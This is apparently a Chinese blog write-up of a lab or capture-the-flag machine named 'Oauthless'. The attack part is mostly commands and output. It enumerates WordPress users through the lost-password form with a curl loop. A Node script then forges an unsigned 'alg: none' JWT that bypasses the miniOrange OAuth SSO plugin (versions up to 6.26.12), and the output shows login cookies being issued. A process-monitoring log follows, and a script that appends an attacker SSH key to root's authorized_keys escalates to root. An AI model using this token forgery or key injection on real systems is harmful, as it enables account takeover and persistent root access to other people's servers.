oauthless
|
68
|
0
|
未分类

378 字
|
15 分钟
本文最后更新于 68 天前，其中的信息可能已经有所发展或是发生改变。
┌──(kali㉿kali)-[/tmp]
└─$ cat a                           
qq.com
vip.qq.com
foxmail.com
163.com
vip.163.com
126.com
yeah.net
sina.com
sina.cn
sohu.com
139.com
189.cn
wo.cn
gmail.com
outlook.com
hotmail.com
yahoo.com
icloud.com
yepian.com
admin.com
Oauth.dsz
Oauth.com

cat a | xargs -I {} curl -X POST “http://oauth.dsz/wp-login.php?action=lostpassword” -d “user_login=yepian@{}”

<h1 role="presentation" class="wp-login-logo"><a href="https://cn.wordpress.org/">基于 WordPress</a></h1>
        <div class="notice notice-info message"><p>请输入您的用户名或邮箱地址。您会收到一封包含重设密码指引的邮件。</p></div>
<div id="login_error" class="notice notice-error"><p><strong>错误：</strong>没有使用该用户名或邮箱地址的账户。</p></div>
                <form name="lostpasswordform" id="lostpasswordform" action="http://oauth.dsz/wp-login.php?action=lostpassword" method="post">
                        <p>
                                <label for="user_login">用户名或邮箱地址</label>
                                <input type="text" name="user_login" id="user_login" class="input" value="yepian@Oauth.com" size="20" autocapitalize="off" autocomplete="username" required="required" />
                        </p>

Keycloak Identity Provider（IdP）

负责发 token：

WordPress 收到 token 以后怎么处理。

真正漏洞点：JWT 没验签 （假token）

WordPress 插件 OAuth Single Sign On – SSO (OAuth Client)（miniOrange 出品）。受影响版本：

  • <= 6.26.12
C:\Users\tg>curl  http://oauth.dsz/?code=x&state=a2V5Y2xvYWs=&id_token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ5ZXBpYW4iLCJlbWFpbCI6InllcGlhbkBleGFtcGxlLmNvbSIsImV4cCI6OTk5OTk5OTk5OSwiaXNzIjoiaHR0cDovL29hdXRoLmRzejo4MDgwL3JlYWxtcy93b3JkcHJlc3Mtc2l0ZSIsImF1ZCI6IndvcmRwcmVzcy1jbGllbnQifQ."

为了伪造能骗过 WordPress 插件的 JWT，需要哪些参数？

└─$ ./aaa              
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJodHRwOi8vb2F1dGguZHN6L3JlYWxtcy93b3JkcHJlc3Mtc2l0ZSIsImF1ZCI6IndvcmRwcmVzcy1jbGllbnQiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJ5ZXBpYW4iLCJzdWIiOiJ5ZXBpYW4iLCJlbWFpbCI6InllcGlhbkBvYXV0aC5kc3oiLCJlbWFpbF92ZXJpZmllZCI6IjEiLCJpYXQiOjE3ODMxMzY3OTUsImV4cCI6MTc4MzE0MDM5NX0.
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
HTTP/1.1 302 Found
Date: Sat, 04 Jul 2026 03:46:35 GMT
Server: Apache/2.4.67 (Unix)
X-Powered-By: PHP/8.3.31
Set-Cookie: PHPSESSID=m4t38ms7lm7cpje12flfted62s; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: wordpress_e795660c1c86972f41ea6d62e77efa6f=yepian%7C1783309595%7CWZ7YHtkOkChMf13Hu5ge7vVomPKDxbqedwExS8EVJIu%7C793c314d5308a211aa360ec5ee685607e2e8b8fe47acfd01eb675af3c211c93d; path=/wp-content/plugins; HttpOnly
Set-Cookie: wordpress_e795660c1c86972f41ea6d62e77efa6f=yepian%7C1783309595%7CWZ7YHtkOkChMf13Hu5ge7vVomPKDxbqedwExS8EVJIu%7C793c314d5308a211aa360ec5ee685607e2e8b8fe47acfd01eb675af3c211c93d; path=/wp-admin; HttpOnly
Set-Cookie: wordpress_logged_in_e795660c1c86972f41ea6d62e77efa6f=yepian%7C1783309595%7CWZ7YHtkOkChMf13Hu5ge7vVomPKDxbqedwExS8EVJIu%7C374f86c25016556e9108ad98487c4818f948a04fd0c9a6ebea4cae8f91e7488c; path=/; HttpOnly
X-Redirect-By: WordPress
Location: http://oauth.dsz
Content-Length: 0
Content-Type: text/html; charset=UTF-8

                                                                                                                                                    
┌──(kali㉿kali)-[/tmp]
└─$ cat aaa            
TOKEN=$(node -e '
function b64u(s){
  return Buffer.from(s).toString("base64")
    .replace(/\+/g,"-")
    .replace(/\//g,"_")
    .replace(/=+$/,"")
}

const header = b64u(JSON.stringify({ alg: "none", typ: "JWT" }));

const now = Math.floor(Date.now()/1000);
const payload = b64u(JSON.stringify({
  iss: "http://oauth.dsz/realms/wordpress-site",
  aud: "wordpress-client",
  preferred_username:"yepian",
  sub: "yepian",
  email: "yepian@oauth.dsz",
  email_verified: "1",
  iat: now,
  exp: now + 3600
}));

console.log(header + "." + payload + ".");
')

echo "$TOKEN"

curl -i -A "Mozilla/5.0" \
  "http://oauth.dsz/?code=x&state=a2V5Y2xvYWs=&id_token=$TOKEN" \
  | tee /tmp/poc_headers.txt


2026/07/04 11:00:32 CMD: UID=0     PID=2960   | ./CheckSystem 
2026/07/04 11:00:32 CMD: UID=0     PID=2961   | 
2026/07/04 11:00:32 CMD: UID=0     PID=2962   | sh -c -- for f in /opt/scripts/plugins/*.sh; do /bin/bash "$f"; done; 
2026/07/04 11:00:32 CMD: UID=0     PID=2963   | 
2026/07/04 11:00:32 CMD: UID=0     PID=2964   | 
2026/07/04 11:00:32 CMD: UID=0     PID=2967   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:00:32 CMD: UID=0     PID=2966   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:00:32 CMD: UID=0     PID=2965   | ps -ef 
2026/07/04 11:00:32 CMD: UID=0     PID=2968   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:00:32 CMD: UID=0     PID=2970   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:00:32 CMD: UID=0     PID=2969   | grep apache 
2026/07/04 11:02:06 CMD: UID=102   PID=2972   | ???
2026/07/04 11:04:41 CMD: UID=???   PID=2975   | ???
2026/07/04 11:05:01 CMD: UID=102   PID=2976   | -bash 
2026/07/04 11:05:14 CMD: UID=0     PID=2978   | /bin/sh /usr/share/udhcpc/default.script renew 
2026/07/04 11:05:38 CMD: UID=102   PID=2982   | 
2026/07/04 11:06:42 CMD: UID=0     PID=2984   | /opt/scripts/CheckSystem 
2026/07/04 11:06:42 CMD: UID=0     PID=2985   | /opt/scripts/CheckSystem 
2026/07/04 11:06:42 CMD: UID=0     PID=2986   | 
2026/07/04 11:06:42 CMD: UID=0     PID=2987   | 
2026/07/04 11:06:42 CMD: UID=0     PID=2988   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:06:42 CMD: UID=0     PID=2992   | ls -al /root 
2026/07/04 11:06:42 CMD: UID=0     PID=2991   | grep -v grep 
2026/07/04 11:06:42 CMD: UID=0     PID=2990   | grep keycloak 
2026/07/04 11:06:42 CMD: UID=0     PID=2989   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:06:42 CMD: UID=0     PID=2994   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:06:42 CMD: UID=0     PID=2993   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:06:42 CMD: UID=0     PID=2995   | 
2026/07/04 11:06:42 CMD: UID=0     PID=2996   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:06:52 CMD: UID=???   PID=2997   | ???
2026/07/04 11:07:04 CMD: UID=102   PID=2999   | vi ps 
2026/07/04 11:08:22 CMD: UID=0     PID=3002   | /opt/scripts/CheckSystem 
2026/07/04 11:08:22 CMD: UID=0     PID=3004   | sh -c -- for f in /opt/scripts/plugins/*.sh; do /bin/bash "$f"; done; 
2026/07/04 11:08:22 CMD: UID=0     PID=3003   | sh -c -- for f in /opt/scripts/plugins/*.sh; do /bin/bash "$f"; done; 
2026/07/04 11:08:22 CMD: UID=0     PID=3005   | 
2026/07/04 11:08:22 CMD: UID=0     PID=3006   | sh -c -- for f in /opt/scripts/plugins/*.sh; do /bin/bash "$f"; done; 
2026/07/04 11:08:22 CMD: UID=0     PID=3007   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:08:22 CMD: UID=0     PID=3009   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:08:22 CMD: UID=0     PID=3008   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:08:22 CMD: UID=0     PID=3012   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:08:22 CMD: UID=0     PID=3011   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:08:22 CMD: UID=0     PID=3010   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:08:43 CMD: UID=0     PID=3013   | sudo -l 
2026/07/04 11:08:50 CMD: UID=102   PID=3014   | 
2026/07/04 11:09:29 CMD: UID=0     PID=3016   | /opt/scripts/CheckSystem 
2026/07/04 11:09:29 CMD: UID=0     PID=3017   | sh -c -- for f in /opt/scripts/plugins/*.sh; do /bin/bash "$f"; done; 
2026/07/04 11:09:29 CMD: UID=0     PID=3018   | 
2026/07/04 11:09:29 CMD: UID=0     PID=3019   | 
2026/07/04 11:09:29 CMD: UID=0     PID=3020   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:09:29 CMD: UID=0     PID=3022   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:09:29 CMD: UID=0     PID=3021   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:09:29 CMD: UID=0     PID=3023   | 
2026/07/04 11:09:29 CMD: UID=0     PID=3024   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:09:29 CMD: UID=0     PID=3025   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:09:29 CMD: UID=0     PID=3027   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:09:29 CMD: UID=0     PID=3026   | 
2026/07/04 11:09:29 CMD: UID=0     PID=3028   | 
2026/07/04 11:09:32 CMD: UID=102   PID=3029   | 
2026/07/04 11:10:04 CMD: UID=102   PID=3032   | ls -al 
2026/07/04 11:10:15 CMD: UID=0     PID=3033   | /bin/sh /usr/share/udhcpc/default.script renew 
2026/07/04 11:10:53 CMD: UID=0     PID=3041   | /opt/scripts/CheckSystem 
2026/07/04 11:10:53 CMD: UID=0     PID=3042   | 
2026/07/04 11:10:53 CMD: UID=0     PID=3043   | /bin/bash /opt/scripts/plugins/CheckMail.sh 
2026/07/04 11:10:53 CMD: UID=0     PID=3045   | sh -c -- for f in /opt/scripts/plugins/*.sh; do /bin/bash "$f"; done; 
2026/07/04 11:10:53 CMD: UID=0     PID=3046   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:10:53 CMD: UID=0     PID=3049   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:10:53 CMD: UID=0     PID=3048   | grep -v grep 
2026/07/04 11:10:53 CMD: UID=0     PID=3047   | grep keycloak 
2026/07/04 11:10:53 CMD: UID=0     PID=3050   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:10:53 CMD: UID=0     PID=3053   | 
2026/07/04 11:10:53 CMD: UID=0     PID=3052   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:10:53 CMD: UID=0     PID=3051   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:11:15 CMD: UID=102   PID=3054   | vi ps 
2026/07/04 11:11:42 CMD: UID=0     PID=3056   | /opt/scripts/CheckSystem 
2026/07/04 11:11:42 CMD: UID=0     PID=3057   | sh -c -- for f in /opt/scripts/plugins/*.sh; do /bin/bash "$f"; done; 
2026/07/04 11:11:42 CMD: UID=0     PID=3058   | /bin/bash /opt/scripts/plugins/CheckMail.sh 
2026/07/04 11:11:42 CMD: UID=0     PID=3059   | 
2026/07/04 11:11:42 CMD: UID=0     PID=3060   | sh -c -- for f in /opt/scripts/plugins/*.sh; do /bin/bash "$f"; done; 
2026/07/04 11:11:42 CMD: UID=0     PID=3061   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:11:42 CMD: UID=0     PID=3063   | grep -v grep 
2026/07/04 11:11:42 CMD: UID=0     PID=3062   | grep keycloak 
2026/07/04 11:11:42 CMD: UID=0     PID=3064   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:11:42 CMD: UID=0     PID=3066   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:11:42 CMD: UID=0     PID=3065   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:11:42 CMD: UID=0     PID=3068   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:11:42 CMD: UID=0     PID=3067   | cat /root/root.txt 
2026/07/04 11:11:48 CMD: UID=???   PID=3069   | ???
2026/07/04 11:12:00 CMD: UID=102   PID=3072   | vi ps 
2026/07/04 11:12:25 CMD: UID=102   PID=3075   | vi ps 
2026/07/04 11:12:48 CMD: UID=0     PID=3077   | /opt/scripts/CheckSystem 
2026/07/04 11:12:48 CMD: UID=0     PID=3078   | 
2026/07/04 11:12:48 CMD: UID=0     PID=3079   | sh -c -- for f in /opt/scripts/plugins/*.sh; do /bin/bash "$f"; done; 
2026/07/04 11:12:48 CMD: UID=0     PID=3080   | /bin/bash /opt/scripts/plugins/CheckMail.sh 
2026/07/04 11:12:48 CMD: UID=0     PID=3081   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:12:48 CMD: UID=0     PID=3085   | 
2026/07/04 11:12:48 CMD: UID=0     PID=3084   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:12:48 CMD: UID=0     PID=3083   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:12:48 CMD: UID=0     PID=3082   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:12:48 CMD: UID=0     PID=3086   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:12:48 CMD: UID=0     PID=3088   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:12:48 CMD: UID=0     PID=3087   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:12:48 CMD: UID=0     PID=3089   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:13:05 CMD: UID=102   PID=3092   | vi ps 
2026/07/04 11:13:29 CMD: UID=0     PID=3094   | /opt/scripts/CheckSystem 
2026/07/04 11:13:29 CMD: UID=0     PID=3096   | sh -c -- for f in /opt/scripts/plugins/*.sh; do /bin/bash "$f"; done; 
2026/07/04 11:13:29 CMD: UID=0     PID=3095   | sh -c -- for f in /opt/scripts/plugins/*.sh; do /bin/bash "$f"; done; 
2026/07/04 11:13:29 CMD: UID=0     PID=3097   | 
2026/07/04 11:13:29 CMD: UID=0     PID=3098   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:13:29 CMD: UID=0     PID=3101   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:13:29 CMD: UID=0     PID=3100   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:13:29 CMD: UID=0     PID=3099   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:13:29 CMD: UID=0     PID=3102   | 
2026/07/04 11:13:29 CMD: UID=0     PID=3103   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:13:29 CMD: UID=0     PID=3105   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:13:29 CMD: UID=0     PID=3104   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:13:29 CMD: UID=0     PID=3106   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:14:16 CMD: UID=102   PID=3109   | vi ps 
2026/07/04 11:14:38 CMD: UID=0     PID=3111   | /opt/scripts/CheckSystem 
2026/07/04 11:14:38 CMD: UID=0     PID=3113   | sh -c -- for f in /opt/scripts/plugins/*.sh; do /bin/bash "$f"; done; 
2026/07/04 11:14:38 CMD: UID=0     PID=3112   | sh -c -- for f in /opt/scripts/plugins/*.sh; do /bin/bash "$f"; done; 
2026/07/04 11:14:38 CMD: UID=0     PID=3114   | 
2026/07/04 11:14:38 CMD: UID=0     PID=3115   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:14:38 CMD: UID=0     PID=3117   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:14:38 CMD: UID=0     PID=3116   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:14:38 CMD: UID=0     PID=3118   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:14:38 CMD: UID=0     PID=3119   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:14:38 CMD: UID=0     PID=3120   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:14:38 CMD: UID=0     PID=3122   | grep -v grep 
2026/07/04 11:14:38 CMD: UID=0     PID=3121   | grep apache 
2026/07/04 11:14:38 CMD: UID=0     PID=3123   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:14:49 CMD: UID=102   PID=3124   | 
2026/07/04 11:14:53 CMD: UID=???   PID=3125   | ???
2026/07/04 11:15:00 CMD: UID=0     PID=3126   | 
2026/07/04 11:15:07 CMD: UID=0     PID=3127   | /opt/scripts/CheckSystem 
2026/07/04 11:15:07 CMD: UID=0     PID=3129   | sh -c -- for f in /opt/scripts/plugins/*.sh; do /bin/bash "$f"; done; 
2026/07/04 11:15:07 CMD: UID=0     PID=3128   | sh -c -- for f in /opt/scripts/plugins/*.sh; do /bin/bash "$f"; done; 
2026/07/04 11:15:07 CMD: UID=0     PID=3130   | 
2026/07/04 11:15:07 CMD: UID=0     PID=3131   | sh -c -- for f in /opt/scripts/plugins/*.sh; do /bin/bash "$f"; done; 
2026/07/04 11:15:07 CMD: UID=0     PID=3132   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:15:07 CMD: UID=0     PID=3134   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:15:07 CMD: UID=0     PID=3133   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:15:07 CMD: UID=0     PID=3135   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:15:07 CMD: UID=0     PID=3136   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:15:07 CMD: UID=0     PID=3138   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:15:07 CMD: UID=0     PID=3137   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:15:07 CMD: UID=0     PID=3139   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:15:11 CMD: UID=102   PID=3140   | vi ps 
2026/07/04 11:15:15 CMD: UID=0     PID=3142   | /bin/sh /usr/share/udhcpc/default.script renew 
2026/07/04 11:15:15 CMD: UID=0     PID=3144   | grep 192.168.31.3/24 
2026/07/04 11:15:15 CMD: UID=0     PID=3143   | ip -4 addr show dev eth0 
2026/07/04 11:15:38 CMD: UID=0     PID=3146   | /opt/scripts/CheckSystem 
2026/07/04 11:15:38 CMD: UID=0     PID=3147   | /opt/scripts/CheckSystem 
2026/07/04 11:15:38 CMD: UID=0     PID=3148   | sh -c -- for f in /opt/scripts/plugins/*.sh; do /bin/bash "$f"; done; 
2026/07/04 11:15:38 CMD: UID=0     PID=3149   | cat /var/mail/yepian/message.md 
2026/07/04 11:15:38 CMD: UID=0     PID=3150   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:15:38 CMD: UID=0     PID=3151   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:15:38 CMD: UID=0     PID=3152   | grep keycloak 
2026/07/04 11:15:38 CMD: UID=???   PID=3154   | ???
2026/07/04 11:15:38 CMD: UID=0     PID=3153   | grep -v grep 
2026/07/04 11:15:38 CMD: UID=0     PID=3155   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:15:38 CMD: UID=0     PID=3157   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:15:38 CMD: UID=0     PID=3156   | grep apache 
2026/07/04 11:15:38 CMD: UID=0     PID=3158   | 
2026/07/04 11:15:40 CMD: UID=102   PID=3159   | ls -al 
2026/07/04 11:15:48 CMD: UID=102   PID=3161   | ls -al 
2026/07/04 11:18:34 CMD: UID=102   PID=3163   | vi ps 
2026/07/04 11:18:58 CMD: UID=0     PID=3165   | /opt/scripts/CheckSystem 
2026/07/04 11:18:58 CMD: UID=0     PID=3166   | /opt/scripts/CheckSystem 
2026/07/04 11:18:58 CMD: UID=0     PID=3167   | sh -c -- for f in /opt/scripts/plugins/*.sh; do /bin/bash "$f"; done; 
2026/07/04 11:18:58 CMD: UID=0     PID=3168   | 
2026/07/04 11:18:58 CMD: UID=0     PID=3169   | sh -c -- for f in /opt/scripts/plugins/*.sh; do /bin/bash "$f"; done; 
2026/07/04 11:18:58 CMD: UID=0     PID=3172   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:18:58 CMD: UID=0     PID=3171   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:18:58 CMD: UID=0     PID=3170   | 
2026/07/04 11:18:58 CMD: UID=0     PID=3173   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:18:58 CMD: UID=0     PID=3175   | /bin/bash /opt/scripts/plugins/CheckServices.sh 
2026/07/04 11:18:58 CMD: UID=0     PID=3174   | 
2026/07/04 11:19:27 CMD: UID=0     PID=3176   | /usr/lib/ssh/sshd-session -R 
2026/07/04 11:19:27 CMD: UID=0     PID=3177   | sshd-session: [accepted]     
2026/07/04 11:19:27 CMD: UID=0     PID=3178   | sshd-session: root [priv]    
2026/07/04 11:19:27 CMD: UID=0     PID=3179   | sshd-session: root@pts/2     
2026/07/04 11:19:27 CMD: UID=0     PID=3180   | 
2026/07/04 11:19:33 CMD: UID=0     PID=3182   | 
2026/07/04 11:19:46 CMD: UID=0     PID=3186   | 
2026/07/04 11:19:51 CMD: UID=???   PID=3188   | ???
2026/07/04 11:19:59 CMD: UID=0     PID=3190   | 
2026/07/04 11:20:03 CMD: UID=???   PID=3191   | ???
2026/07/04 11:20:06 CMD: UID=???   PID=3192   | ???
2026/07/04 11:20:08 CMD: UID=0     PID=3193   | -bash 
2026/07/04 11:20:15 CMD: UID=0     PID=3194   | /bin/sh /usr/share/udhcpc/default.script renew 


yepian@Oauthless:/tmp$ cat ps
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCNxAQABAAACAQCNxxmiQiexk9jQUIDh+e4bkAjqHhvdR1jQk9GOQiVDffrVmW7S+lrhof8MGcYHcT7VOdWniEMdkz9UI7DII3HY6YswdZ4A+UY0VeqiKpZOX0KchwsIBVythNAQABAAACAQCNxxmiQiexk9jQUIDh+e4bkAjqHhvdR1jQk9GOQiVDffrVmW7S+lrhof8MGcYHcT7VOdWniEMdkz9UI7DII3HY6YswdZ4A+UY0VeqiKpZOX0KchwsIBVythNAQABAAACAQCNxxmiQiexk9jQUIDh+e4bkAjqHhvdR1jQk9GOQiVDffrVmW7S+lrhof8MGcYHcT7VOdWniEMdkz9UI7DII3HY6YswdZ4A+UY0VeqiKpZOX0KchwsIBVythNxmiQiexk9jQUIDh+e4bkAjqHhvdR1jQk9GOQiVDffrVmW7S+lrhof8MGcYHcT7VOdWniEMdkz9UI7DII3HY6YswdZ4A+UY0VeqiKpZOX0KchwsIBVythNqxIqwj6xDkfQ== kali@kali" >> /root/.ssh/authorized_keys

暂无评论

发送评论 编辑评论 


				

			

						

				

					

						

							

								
							

							
						

					

				

				

					

						

							

								
							

							
						

					

				

				

					

						

							

								
							

							
							
													

					

				

			

			
			

				

					
				

			

				

											

							
							
						

																				
					
											
						

	

		
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
（╯‵□′）╯︵┴─┴
￣﹃￣
(/ω＼)
∠( ᐛ 」∠)＿
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ｀)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ(￣∇￣o)
ヾ(´･ ･｀｡)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò｡)
Σ(っ °Д °;)っ
( ,,´･ω･)ﾉ"(´っω･｀｡)
╮(╯▽╰)╭
o(*////▽////*)q
＞﹏＜
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
	

	

		
颜文字
Emoji
小恐龙
花!
	


									

			

			
			
		

	






上一篇